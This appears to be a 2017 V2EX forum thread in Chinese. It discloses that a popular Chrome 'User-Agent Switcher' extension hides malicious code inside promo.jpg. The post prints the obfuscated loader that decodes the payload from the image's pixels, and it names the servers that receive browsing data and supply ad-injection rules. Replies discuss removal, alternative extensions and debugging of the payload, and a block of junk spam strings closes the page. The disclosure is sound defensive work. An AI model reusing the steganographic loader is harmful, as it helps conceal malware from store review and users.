大家注意了 Chrome 的插件 User-Agent Switcher 是个木马 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
anoymoux
V2EX    浏览器

大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

  anoymoux 2017-09-09 06:27:10 +08:00 55982 次点击
这是一个创建于 2961 天前的主题,其中的信息可能已经有所发展或是发生改变。
chrome 商店搜索 User-Agent Switcher,排第一的这个件(45 万用户),是一个木马...

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里

background.js 的第 80 行,从这个图片里解密出恶意代码并执行

t.prototype.Vh = function(t, e) { if ("" === '../promo.jpg') return ""; void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {}; var n = this.ET, i = e.mp || n.mp, o = e.Tv || n.Tv, h = e.At || n.At, a = r.Yb(Math.pow(2, i)), f = (e.WC || n.WC, e.TY || n.TY), u = document.createElement("canvas"), p = u.getContext("2d"); if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return ""; e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0); var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; var m, s; if (1 === o) for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1)); var v = "", w = 0, y = 0, l = Math.pow(2, h) - 1; for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y); return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v) } 
会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..

https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm

https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah

https://chrome.google.com/webstore/detail/%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D1%83-%D0%B2%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5/hanjiajgnonaobdlklncdjdmpbomlhoa

https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg

这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619

112 条回复    2020-09-05 20:48:27 +08:00
1  2  
gzlock
    1
gzlock  
   2017-09-09 06:33:21 +08:00 via Android   2
真的变 agent 了,赶紧起床删掉
kmahyyg
    2
kmahyyg  
   2017-09-09 06:37:27 +08:00 via Android
天呐,等我回去看下
sunbeams001
    3
sunbeams001  
   2017-09-09 07:02:01 +08:00
简直可怕
Antidictator
    4
Antidictator  
   2017-09-09 07:24:20 +08:00 via Android
我擦。。
t123yh
    5
t123yh  
   2017-09-09 07:25:34 +08:00 via Android
真 TM 吓人啊
torbrowserbridge
    6
torbrowserbridge  
   2017-09-09 07:51:34 +08:00 via Android
我擦,估计早就财务自由了
syahd
    7
syahd  
   2017-09-09 07:59:24 +08:00 via Android
还好我早就不用 ua 切换工具了
0TSH60F7J2rVkg8t
    8
0TSH60F7J2rVkg8t  
   2017-09-09 08:01:44 +08:00 via iPhone
卧槽,起床去删
houbaron
    9
houbaron  
   2017-09-09 08:09:59 +08:00 via Android
我现在正用着呢。。。有什么替代产品呢?
torbrowserbridge
    10
torbrowserbridge  
   2017-09-09 08:13:40 +08:00 via Android
奇怪楼主是怎么发现的呢,赞
wave3c
    11
wave3c  
   2017-09-09 08:15:51 +08:00
用了好多年了 惊悚
mylanch
    12
mylanch  
   2017-09-09 08:16:08 +08:00 via iPhone
google 官方会有什么行动
liyiecho
    13
liyiecho  
   2017-09-09 08:33:14 +08:00   5
看了下我用的是谷歌提供的 User-Agent Switcher for Chrome

@houbaron #9 https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
dong3580
    14
dong3580  
   2017-09-09 08:39:54 +08:00 via Android
这个用了一次就删了,替换成别的了,害怕,都删了得了。firefox 那个一样名字的呢?
@liyiecho 这个居然是官方的,还好没中招,
Cambrian07
    15
Cambrian07  
   2017-09-09 08:45:53 +08:00   1
@liyiecho 删完了发现,我的也是谷歌提供的这个,又默默装上了……
crystom
    16
crystom  
   2017-09-09 08:51:53 +08:00
我曹,已中招,还好我只是使用的时候才启用这个扩展
anoymoux
    17
anoymoux  
OP
   2017-09-09 09:00:46 +08:00
@dong3580 firefox 也不安全,这家伙写的插件大部分都提供了 firefox,opera 版本的,我列出的这几个仅在 chrome 平台就有超过 100 万用户
img src="https://cdn.v2ex.com/avatar/93a6/d451/95724_normal.png?m=1466135179" class="avatar" border="0" align="default" alt="anoymoux" data-uid="95724" />
    18
anoymoux  
OP
   2017-09-09 09:06:52 +08:00
唉,这个插件我装了几年了,想想这几年都在这个俄罗斯黑客的监控之下,挺恶心的...
qlbr
    19
qlbr  
   2017-09-09 09:23:14 +08:00
honk
    20
honk  
   2017-09-09 09:41:44 +08:00 via Android
用 dev tools 自己随便加
akwIX
    21
akwIX  
   2017-09-09 09:47:09 +08:00
@qlbr #19 是
akwIX
    22
akwIX  
   2017-09-09 09:47:27 +08:00
crisfun
    23
crisfun  
   2017-09-09 09:54:35 +08:00 via iPhone
晚上来看看
doubleflower
    24
doubleflower  
   2017-09-09 10:06:35 +08:00
尽量不要装俄国人写的插件。。。
GlobalNPC
    25
GlobalNPC  
   2017-09-09 10:09:46 +08:00
@Cambrian07 ...+1
lpy6759
    26
lpy6759  
   2017-09-09 11:35:33 +08:00
删除代码能解决木马吗
lantianqiren
    27
lantianqiren  
   2017-09-09 11:38:03 +08:00
楼主好人啊
deeporist
    28
deeporist  
   2017-09-09 11:53:48 +08:00
吃了一惊 还好我 chrome 是用 smart header 自己改的 不过 firefox 里倒是留了一个 刚才一看好像作者就是个毛子立马删之
不过 ff 里的这个我几乎就没用过就是了 改 ua 都是直接用 umatrix
fzhw88
    29
fzhw88  
   2017-09-09 11:59:03 +08:00 via Android
@liyiecho 我也是用的这个
qa2080639
    30
qa2080639  
   2017-09-09 12:08:34 +08:00
赶紧删了...
zro
    31
zro  
   2017-09-09 12:10:47 +08:00
zhuziyi
    32
zhuziyi  
   2017-09-09 12:13:53 +08:00 via iPhone
卧槽,先卸载为敬,快来人进一步核实。
dong3580
    33
dong3580  
   2017-09-09 12:16:24 +08:00
@zro
我火狐上也是这个,不知道有没有问题,
paradoxs
    34
paradoxs  
   2017-09-09 12:21:09 +08:00
浏览器扩展的权限简直不要太大, 还能自动更新, 除了超级重要的扩展, 别的能不开就不开.
ihciah
    35
ihciah  
   2017-09-09 12:40:27 +08:00 via iPhone
好多插件都被买了然后插后门代码。以前中过一个好像叫 Web timer 发现总是跳转返利链接,查了下源码惊了。。
shiloh77
    36
shiloh77  
   2017-09-09 12:43:17 +08:00
Firefox 上位作者是用什名字呢?

有害怕自己也到他的插件...

感 lz
ynyounuo
    37
ynyounuo  
   2017-09-09 12:44:08 +08:00   2
很不幸,恐怕很多人已经被荼毒一年半了。
/t/263719
jfdnet
    38
jfdnet  
   2017-09-09 12:47:29 +08:00
记得这个之前有专门文章发过 有好几个有名的插件 是被出售了之后改造了
xujinkai
    39
xujinkai  
   2017-09-09 12:53:16 +08:00
吓得我把平时不用的插件都禁用了
lechain
    40
lechain  
   2017-09-09 13:19:10 +08:00
一直用的 SwitchyOmega,不会有事吧?
zuolan
    41
zuolan  
   2017-09-09 13:26:15 +08:00
可怕,感谢曝光。
hjdtl
    42
hjdtl  
   2017-09-09 13:33:07 +08:00
已经和 chrome 联系了
salary123
    43
salary123  
   2017-09-09 13:49:53 +08:00 via Android
这么久才有人发现。幸亏不是在常用浏览器上使用
saran
    44
saran  
   2017-09-09 13:56:25 +08:00 via Android
还好宝宝不用代理(°3°)
ghost444
    45
ghost444  
   2017-09-09 14:07:04 +08:00
@anoymoux AMO 的扩展都是人工审核过的,比起 Chrome Web Store 肯定要好一点……
iyangfei
    46
iyangfei  
   2017-09-09 14:20:52 +08:00
还好没有用这个
UnisandK
    47
UnisandK  
   2017-09-09 14:22:12 +08:00
卧槽惊了
EchoChan     48
EchoChan  
   2017-09-09 14:27:42 +08:00
@qlbr #19 楼主说的就是这个。
Clooody
    49
Clooody  
   2017-09-09 14:52:20 +08:00
要是真的,去 google 商店那里举报一下也好啊,免得后来人遭殃.
6388xE5FRKTNUT9x
    50
6388xE5FRKTNUT9x  
   2017-09-09 14:54:22 +08:00 via Android
感谢楼主提醒。目前没在用这些扩展。?
doubleflower
    51
doubleflower  
   2017-09-09 14:58:15 +08:00
电脑上的 npm 包成千上万,只要其中有一个人想干点坏事或是 npm 帐号被盗。。。那破坏力比插件强不止一点啊。
7654
    52
7654  
   2017-09-09 15:17:13 +08:00
哈哈我用火狐,托管在 github 的 User Agent Overrider 扩展
mjar
    53
mjar  
   2017-09-09 15:29:46 +08:00
没装,但是我想看看那张图片长什么样...
mjar
    54
mjar  
   2017-09-09 15:37:00 +08:00
![promo.jpg]( )
usedname
    55
usedname  
   2017-09-09 15:43:34 +08:00
Izual_Yang
    56
Izual_Yang  
   2017-09-09 15:50:20 +08:00 via Android
@deeporist 刚装 umatrix 的时候勾了混淆 ua,然后我上知乎就时好时坏
hantsy
    58
hantsy  
   2017-09-09 15:57:37 +08:00   1
我用的是 Proxy SwitchOmega
ynyounuo
    59
ynyounuo  
   2017-09-09 16:37:33 +08:00
@hantsy 不是一类东西 - -
popok
    60
popok  
   2017-09-09 16:56:51 +08:00
@deeporist #28 哈哈,我也用的是 smart header,简直神器
redsonic
    61
redsonic  
   2017-09-09 17:29:51 +08:00
LZ 能不能把图片里的 js 直接贴出来
lslqtz
    62
lslqtz  
   2017-09-09 18:04:46 +08:00
我的天。。我就在用
MaxMadcc
    63
MaxMadcc  
   2017-09-09 18:05:23 +08:00
我也想知道把图片解密出来后,执行了什么
lslqtz
    64
lslqtz  
   2017-09-09 18:09:16 +08:00
background.js
80 行,应该可以去掉
jeffson
    65
jeffson  
   2017-09-09 18:11:56 +08:00
可怕
lslqtz
    66
lslqtz  
   2017-09-09 18:25:12 +08:00
改掉了那些地方,然后自己提交个仅链接可查看的给自己看了
U2FsdGVkX1
    67
U2FsdGVkX1  
   2017-09-09 18:36:04 +08:00
一直用 djflhoibgkdhkhhcedjiklpkjnoahfmg

由 Google 提供
xifangczy
    68
xifangczy  
   2017-09-09 18:37:25 +08:00
我靠。我就是用的这个... 不过因为他会在右键添加很多菜单还关不掉,平时都是禁止的。
Tony2ee
    69
Tony2ee  
   2017-09-09 18:50:55 +08:00
额 看到这个 我就把
https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
给卸载了还顺便投诉 malware...
感觉自己罪过了...
asdwddd
    70
asdwddd  
   2017-09-09 18:54:56 +08:00
还好用的是这个
User-Agent Switcher for Chrome
offered by google.com

毛子黑客真是...
jliangchan
    71
jliangchan  
   2017-09-09 19:00:37 +08:00
已经在 chrome 商店举报恶意软件, 扩展插件耍流氓真不好发现, 运营商 / dns/ 插件都可能劫持返利链接, 很难排除发现到底是谁的问题.
fhefh
    72
fhefh  
   2017-09-09 19:29:51 +08:00
看了自己写的插件 才 60 多个人 /(ㄒoㄒ)/~~
exoticknight
    73
exoticknight  
   2017-09-09 19:32:48 +08:00
感谢,已卸载
liaoyaoheng
    74
liaoyaoheng  
   2017-09-09 19:50:44 +08:00
举报一下,尽自己一份力。
schema
    75
schema  
   2017-09-09 20:09:47 +08:00
已举报,谢谢分享~
172055
    76
172055  
   2017-09-09 20:37:21 +08:00
去年就有了...
yukiww233
    77
yukiww233  
   2017-09-09 20:43:49 +08:00
吓死我了,结果发现自己用的是 google 的那个,赶紧举报
skadi
    78
skadi  
   2017-09-09 20:51:49 +08:00 via Android
没用过。。。
hantsy
    79
hantsy  
   2017-09-09 20:57:16 +08:00
@ynyounuo 抱歉,没仔细看清楚。
drwx
    80
drwx  
   2017-09-09 21:05:33 +08:00
我用的 Header Hacker,和谷歌官方的那个插件同一作者,不过没有谷歌官方内置的 UA 列表,要自己添加,但是界面上来说似乎好用一点(?)。
tbag781623489
    81
tbag781623489  
   2017-09-09 21:53:35 +08:00 via iPhone
感谢一下,怪不得经常 pop up 一些鬼佬推广。以后只能油猴或者自己写了
MaxMadcc
    82
MaxMadcc  
   2017-09-09 22:00:10 +08:00
@anoymoux 这插件就只把 tab 的 url 信息上传上去了吗?
achendian2
    83
achendian2  
   2017-09-09 22:10:06 +08:00
恐怖 删
LuoboTixS
    84
LuoboTixS  
   2017-09-09 23:14:46 +08:00
Chrome 商店里的排名头部免费热门插件,若常年不断更新、功能已经成熟定型的话,都应该考虑是否有偷数据甚至改页面内容(广告跳转)的后门风险,不然 Dev 喝西北风啊?

英文互联网还有很多靠万能关键词 SEO 引诱点击下载的伪工具软件(广告木马)能把浏览器抽插的七窍流血,但根本不报毒也难定位
xcc880
    86
xcc880  
   2017-09-09 23:28:42 +08:00
0.0 装了好久
acess
    87
acess  
   2017-09-10 00:19:19 +08:00
为啥我看着那么眼熟呢:
Chrome 扩展被出售被加入恶意代码
http://www.solidot.org/story?mode=thread&sid=47732
Kingfree
    88
Kingfree  
   2017-09-10 00:39:10 +08:00
这家伙有问题怎么没被举报掉?
xspoco
    89
xspoco  
   2017-09-10 00:50:04 +08:00
我竟然装了。。赶紧删了。。
redsonic
    90
redsonic  
   2017-09-10 01:20:25 +08:00
折腾了一下,没发现任何数据泄漏给那个域名。
t.prototype.Vh 这个调用过程中没有参数,导致
if (u.style.display = "none", u.width || t.width, u.height || t.height, 0 === u.width || 0 === u.height) return "";
直接 return,也就没法知道 hack 的代码藏在图片的哪个位置

就算注释掉掉这句,由于 canvas 没有绘图,所以 d 里面是全 0
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";

最后也是 return,到不了后面的解码。LZ 应该分享一下怎么知道里面藏着什么东西的。我不是替这个插件说话,只是想知道实际的受害程度,load 一个图片然后跑了一大段混淆的代码确实没安什么好心。
15015613
    91
15015613  
   2017-09-10 08:19:40 +08:00   2
Haiwx
    93
Haiwx  
   2017-09-10 10:14:10 +08:00
@15015613 最后一次更新 January 4, 2011,手动摊手
xi_lin
    95
xi_lin  
   2017-09-10 11:22:55 +08:00
中奖了
redsonic
    96
redsonic  
   2017-09-10 11:46:21 +08:00
@cyg07 https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889
然而还是不清不楚,没有文件 hash,没有署名,没有提图片里藏什么了以及藏哪了。我实际验证了这个插件,80 行确实加载了 promo.jpg ,但后面马上就返回了。可能实际危害要小很多。
anoymoux
    97
anoymoux  
OP
   2017-09-10 16:46:05 +08:00   1
@redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的
https://pastebin.com/ZYd82Hkm
https://pastebin.com/gXV094wm
虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会.
另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了
redsonic
    98
redsonic  
   2017-09-10 17:36:09 +08:00
@anoymoux

d=c.data,g=[];console.log(d) 打印出来是全 0 然会就返回了,应该是这个图片显示出来的时候才解密代码,我抓了两天的包都没抓到,crome 59 源代码 hook 了 url request 也没看到有相关域名,是有什么触发条件吗? 你是随便开一个 tab 就能抓到?
redsonic
    99
redsonic  
   2017-09-10 19:22:09 +08:00
@anoymoux 谢谢,直接在 extensions 里面就地调试 可以解出代码了,只不过第一次 getImageData 还是全 0,要第二次才行 。 把那段单独抽出来不管怎么调试都是 return。不过解出来的混淆代码还是没发出任何东西,在里面循环了一段就退出了,应该还是需要什么条件。
redsonic
    100
redsonic  
   2017-09-10 19:39:59 +08:00
这部分是什么 https://pastebin.com/gXV094wm

我解出的代码是这部分 https://pastebin.com/ZYd82Hkm

@anoymoux
1  2  
关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2686 人在线   最高记录 6679       Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 39ms UTC 14:17 PVG 22:17 LAX 07:17 JFK 10:17
Do have faith in what you're doing.
ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86